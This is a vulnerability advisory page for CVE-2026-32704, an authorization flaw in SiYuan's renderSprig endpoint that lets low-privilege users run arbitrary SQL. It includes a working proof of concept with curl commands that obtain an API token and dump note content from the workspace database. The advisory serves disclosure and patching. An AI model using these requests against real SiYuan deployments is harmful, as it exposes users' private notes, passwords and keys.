Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32704 — siyuan

🟡 CVSS 6.5 — Medium ✅ No Known Exploit CWE-285 NVD
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB

Summary

POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.

Details

File: kernel/api/router.go

Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:

```go

// Missing CheckAdminRole

ginServer.Handle("POST", "/api/template/renderSprig",

model.CheckAuth, renderSprig)

// Correct pattern used by all other data endpoints

ginServer.Handle("POST", "/api/template/render",

model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)

```

renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:

```go

(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {

ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check

return

}

```

Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.

PoC

Environment:

```bash

docker run -d --name siyuan -p 6806:6806 \

-v $(pwd)/workspace:/siyuan/workspace \

b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

```

Exploit:

```bash

# Step 1: Login and retrieve API token

curl -s -X POST http://localhost:6806/api/system/loginAuth \

-H "Content-Type: application/json" \

-d '{"authCode":"test123"}' -c /tmp/siy.cookie

sleep 15 # wait for boot

TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \

-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \

| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")

# Step 2: Execute SQL as non-admin user

curl -s -X POST http://localhost:6806/api/template/renderSprig \

-H "Authorization: Token $TOKEN" \

-H "Content-Type: application/json" \

-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'

```

Confirmed response on v3.6.0:

```json

{"code":0,"msg":"","data":"[{\"n\":0}]"}

```

Full note dump:

```bash

curl -s -X POST http://localhost:6806/api/template/renderSprig \

-H "Authorization: Token $TOKEN" \

-H "Content-Type: application/json" \

-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'

```

Impact

Any authenticated user (API token holder, Publish Service Reader) can:

  • Dump all note content and document hierarchy from the workspace
  • Exfiltrate tags, custom attributes, block IDs, and timestamps
  • Search notes for stored passwords, API keys, or personal data
  • Enumerate all notebooks and their structure

This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-32704 is classified as CWE-285: Improper Authorization. A request is carried out without confirming that the caller is permitted to perform it on that specific resource.

Affected software

CVE-2026-32704 is recorded against 2 packages.

  • github.com/siyuan-note/siyuan/kernel
  • siyuan (fixed in 3.6.1)

Timeline and source

Published on 13 March 2026 and last revised on 30 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

github.com/siyuan-note/siyuan/kernel has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-285: Improper Authorization) in other software:

Details

Severity Medium
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-285
Public Exploit ✅ No
Source NVD
Published 2026-03-13
Updated 2026-08-20
Modified 2026-03-30
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/siyuan-note/siyuan/kernel
siyuan 3.6.1

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in siyuan

CVE-2026-32704 is rated CVSS 6.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026